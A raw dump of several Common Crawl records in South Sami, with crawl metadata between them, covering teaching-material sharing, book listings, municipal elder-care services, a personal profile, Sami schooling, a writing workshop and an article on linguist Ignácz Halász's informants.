gïeh sijhtieh juekedh, mohte barkoej steerieh dan åvteste jiejkieh. Akte lohkije gaaj murreds lahtestimmiem tjeeli. Satne tjeeli: \"Manne dïsse jïejkem daam leam jïjtje dorjeme lea hijven?!\" Jienebe tjaala..... \"Manne vïenhtem lea aelhkie ij jïjtjemse jaehkedh, jïh manne varki jïermestem ij gujht manne maam akth jeatjabidie juakam mij seamma aamhtesem ööhpehtehtieh. Daejtie åssjalommes vïenhtem lea vihkeles jeatjahtehtedh, gosse gaajhkesh hov fïere guhten vuekiem åtna jïh lohkehtimmiem vuesiehtidh. Jis mijjieh væjkalåbpoe sjïdtebe juekedh, vïenhtem kvaliteetem mijjen barkojste buerebe sjædta. Dellie maehtebe orre jïh vihkeles vuajnoeh åadtjodh – maam maehtiejibie jïjtjen lohkehtæmman utnedh. Kaanne aaj maahtoe juekeme maahta skreejredh orre lohkehtimmien vuekie vedtedh, jïh daerpies jeeredidie, mij aaj jïjtjemse jïh learoehkidie skreejredh.\" Daate lahtestimmiem vihkeles tsiehkieh utni man bïjre vitnie gosse juaka. Vitalitete, orrestehteme jïh evtiedimmie leah iemie sjædta dej byjresinie gusnie sïejhme juekedh. Mijjen klaassetjïehtjelh dagkeres vitamijne stratjkehte daarpesjieh. Aellieh mah eavedh aeblehtsvoetene. Jis gaajhkh ånnetje juekieh dellie juekemeprosjekte gååhkese jåhta. Datne ånnetje maahtah darjodh. Aellieh mah nåakelaakan jïjtjen bïjre ussjedidh, baajh datnem tjöödtjestidh. Jieleme dan åenehks, jielemen daelie lea – daelie mijjieh jieliejibie, daelie maehtiejibie juekedh. Daelie maehtebe vitamijne stratjkehten mijjen siebriedahkese vedtedh. Jis manne ånnetje darjoem, jïh datne ånnetje darjoeh, dellie varkebe dahkoe båetiejibie! Daam manne daajram, jienebe lohkehtimmie jïh jienebe ektiebarkoe sjædta jis juekiejibie. Ij daarpesjh dan jïjnjem årrodh. Gellie johketjistie stoerre jeanoem sjædta. Naan aejkien lea onne milimeterem nuekies. Gaajhkesh tjoeverin jïjtjemisnie aelkedh. Jïh jis jïjtjemisnie aalka dellie hijven sjædta! '''Bonuse juekiejidie''' Manne dallah damtem manne vitnem gosse juakam: jis leam buerebelaakan vïenhteldihkie maahtose dellie dïhte bööremes. Manne jïjtjemse staerestem guktie edtja buerie tjaalegh sjïdtedh gosse jeatja edtjieh mov paehpieridie lohkedh. Jïh damtem dïhte lea buerie åssjalommes guktie maahtam jïjtsh juekemem bïjre ussjedidh. Im manne jeatjabidie voestegh dïedtem vaeltieh, manne voestegh jïjtjemse dïedtem vaaltam. Jis jeatja maam akth destie åadtjoeh, dellie hijven bonuse munnjan sjædta. Dåeriedidie jïh jiehtede \"jaavoe\" evtiedæmman jïh ektiebarkose. Edtjh vuejnedh bonuse destie åadtjoeh.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ovttas.no\/sma\/artihkal_juekeme-jeenebh-oohpehtimmiem-vadta","date":"2023-09-24T16:10:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506658.2\/warc\/CC-MAIN-20230924155422-20230924185422-00093.warc.gz","language":"sma","language_score":1.0000032187,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 1.0000032186508179}","num_words":567,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.152,"stopwords_ratio":0.092,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije Davvi Girji OS Vaadtasovvemejaepie 2001 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Jeatjah saemien gïelh Julevsaemiengïele Noerhtesaemiengïele ISBN 8273744507 Formaate Sïejhme gærja Reakta-aajhtere Davvi Girji OS Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 95 Aamhtesh Kultuvre Litteratuvre Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Luvliesaemien Enaresaemiengïele","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/node\/9463?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-11-29T18:57:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100135.11\/warc\/CC-MAIN-20231129173017-20231129203017-00134.warc.gz","language":"sma","language_score":0.999563992,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999563992023468}","num_words":45,"character_repetition_ratio":0.086,"word_repetition_ratio":0.0,"special_characters_ratio":0.181,"stopwords_ratio":0.133,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Voeresesåjhtoe\nHijven daejredh\nHïejmedïenesje datnem viehkehte gåetesne årrodh jïh jearsoesvoetem damtedh jïjtje hïejmesne. Hïejmedïenesje maahta, dov daerpiesvoeti mietie, datnem viehkiehtidh darjomigujmie goh sjeakodh, bïssedh jïh åesiestidh. Datne maahtah aaj viehkiem åadtjodh vuesiehtimmien gaavhtan hygienine, ohtjegåetesne, gåårvedidh jïh vaarjoeh noeledh jïh gosse edtjh byöpmedidh. Maahtah viehkiem åadtjodh olkese vaedtsedh jallh dov jïjtje ierieh darjodh. Hïejmedïenesje maahta aaj lïhkes almetjidie viehkiehtidh jïh hïejmesne boelhketjisnie årrodh.\nHïejmedïenesje Orrestaaresne tjïelten dïedte. Ih datne dan gaavhtan maehtieh barkijem veeljedh. Mohte datne maahtah tsevtsedh guktie dah edtjieh viehkine årrodh dov nænnoestimmien mietie. Datne åadtjoeh hïejmedïenesjen barkiji ektesne dov viehkien tjïrrehtimmiesoejkesjem darjodh.\nGåessie datne hïejmedïenesjem ohtsh dellie tjïelte dov daerpiesvoetide vuarjesje sosijaaledïenesjelaaken mietie.\nDatne såjhtoemaaksoem jïh persovneles maaksoeh maaksah dej mænngan. Jis viehkiem tsïengelen åadtjoeh dellie tjïelte fakturam goevten seedtie. Dam fakturam edtjh seejnemes njoktjen 20.b. maeksedh.\nDatne gie 65 jaepien båeries jallh båarasåbpoe jïh gåetesne årroeh jïh sïjhth ektievoetesne jïh maam akt darjodh dellie mijjieh datnem böörebe tjïelten gaavnedimmiesijjide. Gaavnedimmiesijjieh faalehtieh ovmessie darjoemidie, vuesiehtimmien gaavhtan musihke, bingo, prïhtjhbodte, kåarhtespïele, veevedh, laavlodh, vitnedimmie, studijegievlieh jïh aerpievuekien feesth. Datne åadtjoeh hævvi evtiedidh sisvegem maam datne sïjhth.\nJeenjemes darjomh namhtah, men datne prïhtjegen jïh bårremassi jïh jovkemsi åvteste maaksah. Gåessie musihke jallh sjïere darjomh åadtjoeh muvhtene maaksotjem maeksedh. Jeenjemes gaavnedimmiesijjieh vaeltieh ajve beetnegh.\nGaavnedimmiesijjieh geografijen mietie tseegkeme tjïeltesne. Naan gaavnedimmiesijjieh leah hokse- jïh såjhtoeårromesijjine men dah maehtieh aaj årrodh jeatjah sijjine.\nTjïelten hokse- jïh såjhtoeårromesijjieh dutnjien gie jienebh viehkiem jïh dåarjoem daarpesjh enn mah maehtieh vedtedh dov jïjtje hïejmesne.\nHokse- jïh såjhtoeårromesijjesne barkijh gååvnesieh gïeh maehtieh datnem viehkiehtidh abpe dygnem. Datne åadtjoeh viehkiem gaajhkijste barkijistie mohte aaj faalehte dutnjien jïjtje gaskesadtemepersovnem.\nDatne dov jïjtje leejjemegåetiem leejjh årromesijjesne jïh leejjemelatjkoem åtnah. Seangkoe desnie men dah jeatjah mööblerh åadtjoeh jïjtje veeljedh. Hokse- jïh såjhtoeårromesijjesne hoksede aeredsbeapmoeh, gaskebeapmoeh jïh gaskebiejjiebeapmoeh jïh aaj svarkeldahkh.\nGosse årromem ohtsh dellie tjïelte dov daerpiesvoeth vuarjesje Sosijaaledïenesjelaaken mietie (SoL) jïh\/jallh Lagen om stöd och service för vissa funktionshindrade (LSS).\nJis dov gyhtjelassh åtnah hokse- jïh såjhtoeårrominie maahtah tjïelten viehkiegïetedæjjam gaskesadtedh gaskesadtemejarngen tjïrrh.\nDatne maahtah aaj årromem hokse- jïh såjhtoeårromesijjesne gusnie demensine berkieh ohtsedh. Guktie sijjiem edtjh åadtjodh hokse- jïh såjhtoeårromesijjesne gusnie demensine berkieh daarpesjh demensediagnovsem åtnah. Demenseårromesijjieh faalehte jearsoes jïh skreejreme hoksem dutnjien gie demenseskïemtjelassem åtnah dan guhkiem goh gåarede edtjh dov mentaale jïh fysiske\nDatne gie daamhtaj skïemtjehoksem daarpesjh åenehks jallh guhkebe tïjjem jïh ih maehtieh dov healsoejarngese vuelkedh maahtah tjïelten hïejmeskïemtjehoksem åadtjodh.\nDatne bïeljelh dov healsoejarngem jis skïemtjedh. Jis healsoejarnge vuarjesje datne hoksem gåetesne daarpesjh dellie dah tjïelte hïejmeskïemtjehoksemine gaskesadtedh. Dïhte maahta aaj årrodh dåaktere skïemtjegåetesne, gie hoksem soejkesjidh skïemtjegåetieårromen mænngan, dov daerpiesvoeth hïejmedïenesjistie bïeljele. Dan mænngan dajven skïemtjesåjhtere, barkoeterapeute jallh fysioterapeute hïejmeskïemtjehoksesne datnem gaskesadta jïh dov viehkiem soejkesje.\nDatne maahtah hïejmeskïemtjehoksem åadtjodh gåessie saaht dygnesne, gaajhkh biejjieh våhkosne. Dov hoksedaerpiesvoeten mietie hoksem stuvrie. Datne gie åadtjoeh skïemtjehoksem gåetesne åadtjoeh maaksotjem dan gaavhtan maeksedh.\nJis datne skïemtjelassen jallh skaaran mænngan saavremem jallh jeatjah darjomh daarpesjh guktie dov aarkebiejjesne bïerkenh dellie rehabiliteeremen nuepieh dov hïejmesne gååvnesieh. Barkoeterapeute jïh fysioterapeute dov daerpiesvoeth vuarjasjieh jïh dejtie rehabiliteereme darjoemidie tjïrrehtieh mubpiej barkoedåehkiej ektesne.\nDatne maahtah vuarjasjimmien mænngan viehkievierhtieh löönedh guktie buerebe aarkebiejjien bïerkenh. Viehkievierhtiej vuesiehtimmieh rullatovre, jårremestovle jïh tjahkese ohtjegåetesne.\nJis datne jïjtje årromesijjesne årrodh jïh maahtah dov healsoejarngese vuelkedh edtjh dejnie gaskesadtedh rehabiliteeremem jïh viehkievierhtieh åadtjodh. Jis ih maehtieh healsoejarngese vuelkedh jallh viehkievierhtiem daarpesjh gåetesne pryövedh dellie tjïelten barkoeterapeutine jallh fysioterapeutine gaskesadtedh gaskesadtemejarngen tjïrrh.\nJis datne hokse- jïh såjhtoeårromesijjesne jïh dïenesjegåetesne årroeh dellie datne maahtah skïemtjesåjhterem gaskesadtedh gie dïedtem åtna jïh dïhte dellie barkoeterapeutem jallh fysioterapeutem bïeljele.\nJis viehkievierhtie orriji juhtedh jallh måarhkoe, dellie bïeljelh Hjälpmedel Västernorrland. Datne maahtah aaj fiejliebieljelimmiem darjodh Hjälpmedel Västernorrlans webbesijjesne.\nTjïelte maaksoem vaalta viehkievierhtien gaavhtan almetjistie gïeh 20 jaepieh illeme.\nDatne gie lïhkesalmetjem jallh jeatjah almetjem hoksh jallh viehkehth lea vihkeles. Muvhtene maahta aaj datne viehkiem daarpesjidh guktie maahtah tsiehkiem bööremes vuekine gïetedidh, kaanne naan jeatjah almetjinie soptsestalledh jallh viehkiem boelhketjisnie åadtjodh.\nÅeliekonsulenth maehtieh viehkiem årrodh gosse:\n- bievnieh gusnie datne maahtah viehkiem jïh dåarjoem åadtjodh\n- sjïere dåarjoesoptsestalleme\n- åeliedåehkieh gusnie åadtjoeh mubpieh råakedh seamma tsiehkine, dååjrehtimmieh målsodh, raerieh åadtjodh\n- hïejmevuasahtalleme\n- volonterebuektiehtimmie\nDah gïeh åeliedåarjojne berkieh sjaavohthvoetedïedtem utnieh. Gaskesadth voerese- jïh åeliekonsulentide gaskesadtemejarngen tjïrrh.\nGaskesadteme\nGaskesadtemejarnge ajve daaroste\nGaskesadtemejarnge\nTelefovne: 0660-880 00\nRæhpastïjjh telefovne: 07:30–17:00 hïeljehts aarkebiejjieh (suehpeden 15.b. – skïereden 15.b. 07:30–16:15)\nE-påaste: firstname.lastname@example.org\nGåassoehtimmieadressh\nGåassoehtimmiejarnge staaregåetie Kronan: Järnvägsgatan 6, entréplan\nRæhpastïjjh gåassoehtimmiejarnge Kronan: 07:45–17:00 gaajhkh hïeljehts aarkebiejjieh (suehpeden 15.b.– skïereden 15.b. 07:45–16:15)\nDåastove staaregåetie Nygatan: Nygatan 16, plan 1\nRæhpastïjjh dåastove Nygatan: 07:45–16:30 gaajhkh hïeljehts aarkebiejjieh, beapmoegaptjeme 11:30–12:30 (suehpeden 15.b. – skïereden 15.b. (07:45–15:45)","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.ornskoldsvik.se\/aarjelsaemiengiele\/voeresesajhtoe","date":"2023-12-08T08:52:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100739.50\/warc\/CC-MAIN-20231208081124-20231208111124-00450.warc.gz","language":"sma","language_score":1.0000040531,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"sma_Latn_score\": 1.0000040531158447}","num_words":715,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.069,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Eli Karianne Vesterheim Hætta jïh manne 20 jaepien båeries. Manne aktene onne sijjesne byjjenamme, 1,5 mïjlh Guovdageaidnun jarngen ålkolen, man nomme Biltasletta. Dennie plaave gåetesne leam abpe mov jieledem orreme, jïh eatneme bïjre jarkan mov paradijse orreme. Hïejme iktegisth desnie orreme. Men damtem mov lea akte mubpie hïejme aaj. Sijjesne Kvitfors Skániiden (Skånland) tjïeltesne. Gåetesne aahkan luvnie. Kvitforsesne leam gaajhkh giesieh orreme, jienebh jåvleiehkedh, jïh gellie jeatjah eejehtalleminie. Dan åvteste sïjhtede vuejnedh mov leah dovne Guovdageaidnu-gapta jïh Ofoten\/Åarjel-Romsan-gapta.\nGuovdageaidnusne dovne maana-, noere-, jïh jåarhkeskuvlem illim. 2017 væhnadimmine tjåadtjoejim gïetesne, jïh joekoen riejries akten orre heamturasse. Romsesne åadtjoejim dååjredh aktem staeries barkoem utnedh. Manne fïerhten biejjien barkimh medtie 11 askh aktene privaate maanagïertesne såålen åarjelraedtesne. Akte joekoen gieltegs jïh lïerije jaepie!\nDaelie orre heamture aalka. Dïhte nïekedasse maam dan guhkiem åtneme lea dellie maaje saatnan sjïdteme, jïh dellie maaje mov tsïeglejaepie vuarta. Manne stoerre earoem jïh garmeresvoetem damtem gosse daam nuepiem åådtjeme bïjre jarkan mïnnedh jïh mov kultuvren bïjre soptsestidh. Manne aavodem vuejnedh maam daate jaepie buakta, jïh daelie guhkiem mænngan manne dan jïjnjem mïsse akt aavoedamme.\nNjieljie varke gyhtjelassh:\nMaam darjoeh 10 jaepine?\nWow, im rikti daejrieh. Nïekedasse båetijen aajkan daelie lea dan jïjnjem fealadidh goh gåarede, jïh dan jïjnjem veartenistie vuejnedh goh gåarede. Lissine gegkestem manne leam ööhpehtimmine aalkeme mïsse stoerre ïedtjem åtnam. Dagke dovne jïjtse gåetiem åasteme. Manne pryövem spontane årrodh, jïh im dan jïjnjem soejkesjh.\nMaam darjoeh jis naaken datnine flöörtede aktene håaloemisnie datne höölth?\nJis naaken dam dorje dellie hævvi dam vaaltam goh akte komplimente. Jis naaken lea lissie veekes, maahtam mån aelkedh flöörtadidh manne aaj.\nMah tv-raajroeh sïjhth hotellesne vuejnedh gosse dov lea astoeaejkie skuvlevaaksjomi gaskem?\nManne raajroeh eahtsam, jïh leam ååpsen gellieh vuajneme. Raaktan daelie Breaking Bad vuartesjem dan vïjhteden aejkien, vïenhtem. Lissine dagkerh lustes raajroeh. Jis nahkeren jïh im vissjh dan veelelaakan vuartasjidh, men læjhkan maam akt sïjhtem mij duekesne jåhta, provhkem Friends jallh How I Met Your Mohter vuartasjidh, men jis sïjhtem maam akt joekoen gieltege utnedh, dellie vuartesjem Game of Thrones.\nMaam saemien åahpetjidie datne buaresjh?\nTjoerem badth mietedh manne tuhtjem gaajhkh baernieh baantesne Felgen Orkester leah joekoen tjaebpie, joekoen dïhte tjoevkes… Vuertieh, gaajhkesh sån tjoevkes? men aaj Isáken musihkem buaresjem, gusnie mov aajkohke Ella lea laavloje. *Secret advertising*","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/eli-karianne-vesterheim-haetta-2\/","date":"2023-12-08T05:05:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100724.48\/warc\/CC-MAIN-20231208045320-20231208075320-00446.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":365,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.093,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2017\nISBN\n9788291973678\nFormaate\nSïejhme gærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nMennie bielesne\n95\nSoptsese saemiej maadtoen bïjre.\nGuhkiem daan åvtelen Biejjien baernie jielieminie. Biejjien baernien eatnamisnie eah lin nïejth, ij lij akte gænnah. Dannasinie sïjhti mïnnedh jïjtsasse gujnem gaavnedh. Biejjien baernie gåhkese vöölki, Bïejjien jïh Asken jillelen, dubpelen dom Noerhtenaestiem vïnhtsine sïglen feeli Jeahnaj eatnamasse. Dubpene jeahnagånkan nïejtine gaavnesje jïh dïhte sæjhta satnem dåeriedidh bååstede.\nGærjesne åarjel- jïh daaroen teekste loevt-sæjraj tjåadtjoen.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_biejjien-baernien-saangedimmiemehkie","date":"2023-12-10T04:23:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679101195.85\/warc\/CC-MAIN-20231210025335-20231210055335-00862.warc.gz","language":"sma","language_score":0.9999923706,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999923706054688}","num_words":74,"character_repetition_ratio":0.044,"word_repetition_ratio":0.0,"special_characters_ratio":0.167,"stopwords_ratio":0.081,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije NRK Skole Vaadtasovvemejaepie 2013 Faage Eatnemefaage Båatsoe jïh design Siebriedahkefaage Daltese 5-7 8-10 VGS Jollebe ööhpehtimmie Giele Svïenskegïele Noerhtesaemiengïele Daaroengïele Tïjje 00:39:56 Formaate Embedded Reakta-aajhtere NRK Sápmi Reaktah Gaajhkh reaktah leah doelehtovveme Aamhtesh Aerpiemaahtoe Eatnemenåhtoe Kultuvre Filme Aarhte jïh daajroe Byjrese Eatnemefaage Siebriedahke Meedije Politihke Siebriedahkedaajroe Ökonomije Viehkiebaakoe Mineraalh Noerhtedajve Båatsoejieleme Dokumentaare","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/filbma_skattkammeret","date":"2023-12-11T09:13:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103810.88\/warc\/CC-MAIN-20231211080606-20231211110606-00858.warc.gz","language":"sma","language_score":0.9998903275,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9998903274536133}","num_words":49,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.061,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ektieöörneme integrering saemien lohkehtimmie maadthskuvline öörnesåvva. Dellie learohkh maehtieh, ietniengïele lohkehtimmien lissine, lohkehtimmiem saemien kultuvrese åadtjodh. Ektieöörneme integrering saemien lohkehtimmie 7-9 jaepiekuvsjine aaj iemiegeajnoe learoehkidie saemienskuvlesne sjædta.\nUlmie lea fïerhten learohke edtja altese identiteetem nænnoestidh, sov gïelem lohkedh jïh kultuvren jïh aerpievuekien maahtojde lïeredh. Ektieöörneme integrering lohkehtimmie gaajhkene maadthskuvlen jaepiekuvsjine.\nÅejviemaennieh man leah saemien learohkh åådtje, gosse Saemieskuvleståvrojne latjkeme, ektieöörneme integrering saemien lohkehtimmiem öörnedh. Ööhpehtimmie edtja saemien learoehkidie eevtjedh jïh sjïehtelovvedh seammalaaketje ööhpehtimmine mah jeatjah learohkh maadthskuvlesne åadtjoeh. Fïerhte åejviemaennie vierhtieh ektieöörnemasse integrering Saemieskuvleståvroste syökoe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/ektieoorneme-integrering-saemien-lohkehtimmie\/","date":"2023-12-01T07:13:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100276.12\/warc\/CC-MAIN-20231201053039-20231201083039-00538.warc.gz","language":"sma","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000041723251343}","num_words":84,"character_repetition_ratio":0.128,"word_repetition_ratio":0.0,"special_characters_ratio":0.112,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Queering Sápmi HBTQ-prosjekte mij normigujmie barka saemien siebriedahkesne dan tjïrrh unnebelåhkoeh nännoestidh saemien unnebelåhkoen sisnie. Prosjekteste mij mesnie vuasahtalleme jïh gärja båateme mah saemien homoe-, bi-, transe-, jïh queere-almetji jïjtsh soptsestimmide abpe Saepmeste vuesiehtieh. Queering Sápmi säjhta aaj saemien HBTQ-almetjh viehkiehtidh ektesne barkedh jïh stinkes gaavnedimmiesijjieh skaepiedidh mah aajmene aaj dan männgan prosjekte galhkeme. Queering Sápmi lea Sáminuorran stööremes prosjekte gåessie jïh prosjekte prïjsh åådtjeme mij mesnie RFSL Ungdom´ste.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.saminuorra.org\/queering-sapmi-2\/","date":"2023-11-29T18:17:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100135.11\/warc\/CC-MAIN-20231129173017-20231129203017-00242.warc.gz","language":"sma","language_score":0.9999355078,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.999935507774353}","num_words":69,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Stai, Kari Bertije Gïelem nastedh Nord-Trøndelag fylkesbibliotek Vaadtasovvemejaepie 2016 Faage Saemien 1 Saemien 2, 3 jïh 4 Daltese Maanagïerte 1-4 Giele Jeatjah saemien gïelh Åarjelsaemiengïele ISBN 978-82-93402-13-8 Formaate Guvviegærja Reakta-aajhtere Kari Stai Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 37 Aamhtesh Kultuvre Litteratuvre Saemiengïele Gïelh jïh smaaregh heevehtslitteratuvre Viehkiebaakoe Upmejesaemien","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/girji_muarra-moere","date":"2023-12-11T15:25:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679515260.97\/warc\/CC-MAIN-20231211143258-20231211173258-00282.warc.gz","language":"sma","language_score":0.9993995428,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9993995428085327}","num_words":43,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.19,"stopwords_ratio":0.14,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Soptsestæjjah jïh bïhkedæjjah:\nLena Kappfjell, Sig-Britt Pärsson, + akte vielie\nGåessie: 21.-23.09.2023\nGusnie: Tråantesne, bïevnesh mennie hotellesne mænngan båata\nProgramme ånnetji mænngan båata.\nMijjieh daarpesjibie jienebh åarjelsaemien tjaelijh, jïh sïjhtijibie daejnie tjaelemebiesine jienebh eevtjedh åarjelsaemien tjaeledh.\nMijjieh programmem sjïehtesjibie tjaeliji\/jarkoestæjjaj vaajtelassi mietie. Jis edtjijibie buektiehtidh hammoedidh dam tjaelemebiesiem bööremeslaakan dijjen daerpiesvoeti jïh vaajtelassi mietie, dellie hijven åadtjodh daejredh mejnie tekstine lidie barkeminie jïh aaj åadtjodh daejredh mij geerve gosse saemien lidie tjaelieminie. Tjaelieh e-påastem email@example.com , gusnie tjaeliejidie mejnie tekstine lidie barkeminie jïh magkeres gïeleaamhtesi bïjre edtjijibie soptestalledh.\nVihkeles boelhke daennie tjaelemebiesesne, tjaelemeraeffiem gaavnedh mohte aaj jeatjebigujmie åadtjodh rååresjidh jïh soptsestalledh, guktie nimhtie buerie viehkine jïh skreejrijine sinsætnan sjïdtijibie.\nVaeltede mealtan daatamaskijnem, jïjtjedh tjaelemeprosjekth, mejgujmie barkeminie.\nBuerie båetede!\nNB! Tjaalehraajroeprosjekte feelemen, beapmoej jïh jïjjedimmien åvteste jarkoestæjjide\/gïelebarkijidie maaksa!\nÖörnedæjjah: Čálliid Lágádus, Trööndelaagen Fylhketjïelte, Sïjti Jarnge – Gïele jïh kultuvrejarnge","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sijtijarnge.no\/nb\/tjaelemebiesie-traantesne\/","date":"2023-12-06T07:31:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100583.31\/warc\/CC-MAIN-20231206063543-20231206093543-00526.warc.gz","language":"sma","language_score":0.9999760389,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.9999760389328003}","num_words":134,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.14,"stopwords_ratio":0.104,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1\n45\nTable of Contents\n47\n60\nSámis 29\n46 Saemeste saaman Ungeren gïeledotkije Ignácz Halász (1855–1901) Saapman jaepiej 1884, 1886 jïh 1891 juhtieji. Halász gellieh saemiengïelh dotki, men jïjtjse daajrojde Ungeresne ungeren gïelese olkese vedtieji, jïh dannasinie idtji Saepmesne byögkehke sjïdth. Jaepien 1886 Aarportese juhtieji jïh altese vihkielommes soptsestæjjam, Ole Samuel Elsvatnem (1866–1911) gaavni, dïhte minngeben jaepien soptsestæjjine daaroen dotkije Just Qvigstadese aaj sjïdti. Elsvatnen soptsesh Qvigstadese sjïdtin hov byögkehke voestegh gærjesne Erzählungen aus Hatfjelldalen (1924) jïh mænngan gærjesne Aarporten jih Åarjel- smaaregen soptsesh (1996), maam daaletje tjaeleme- vuekien mietie Lajla Mattsson Magga orrestamme. Halászen barkoe ij leah lïjhke dan damtoes sjïdteme, ihke maanagærja Govne-boetske (1984) Lajla Mattsson Maggan nommine olkese vadtasovveme, jalts dïhte maaje seamma goh Ole Samuel Elsvatnen soptsese Askeladdenen bïjre Halászen gærjesne Svéd-lapp nyelv III: Ume- és tornio-lappmarki nyelvmutatványok jallh saemiengïelesne 'Sveerjen saemiengïele III: Upmejen- jïh Torne-saemien gïelevuesiehtimmieh' (s. 110–115). Halászen gærjesne, mij daelie aalkoehaamosne gaskeviermesne aaj gååvnese, Ole Samuel Elsvatnen lissine njieljie jeatjah soptsesh, mejstie göökte Ole Samuelen aehtjeste Bendigt Andreasiste (1837– 1928). (Halászen mietie «noere kaarren aehtjie Pienti Ole Bendigsen», guhte sotnese dovne staaloen jïh saemien baahtjen bïjre jïh saajve-jaevrien bïjre soptsesti.) Murriedåbpoeh læjhkan göökte soptsesh, mej soptsestæjjine Halászen baakoejgujmie «Dearnan dajven saemien nïejte» (Tärna vidéki lapp leány) gïem satne «Gunnel Oline Olstad» gohtje. Dïhte aajnehke bïevnese daan Dearnan nïejtem bïjre daajroe man mietie dïhte lij noere nïejte jaepien 1886 jïh dan smaarege naa lïhkes Ole Samuel gon Bendigt Olen smaareginie. Gïeledotkijh hævvi «Dearnan nïejten» gïelem iktesth Dearnan smaareginie jïh dannasinie muvhten aejkien upmejensaemien gïeline ussjedamme. Mijjieh maehtebe gujht jaehkedh dïhte «Gunnel Oline Olstad» ij lij Dearnan dajven nïejte, mohte dïhte buerebh Gunhild Oline Olsdatter, mænngan Børgefjell (1868–1959), gie Såvsoevuemesne Aarportesne reakadamme, tjidtjebe jis Vualtjarisnie reakadamme. Gunhild Oline Børgefjell vihkeles informante tjekkihke Václav Mareken gærjesne Samene i Susendalen (1992) 1 , men daan raajan ij leah tjaalasovveme, dïhte maa Halászen informantine aaj, joe noere 17 jaepien nïejtine giesien 1886. 1 Vuejnieh aaj Lena Kappfjellen «Václav Marek 1908–1994 – Såvsoevuemien årroje tjekkoslovakijste» ( Saemeste saa- man 1\/2013: 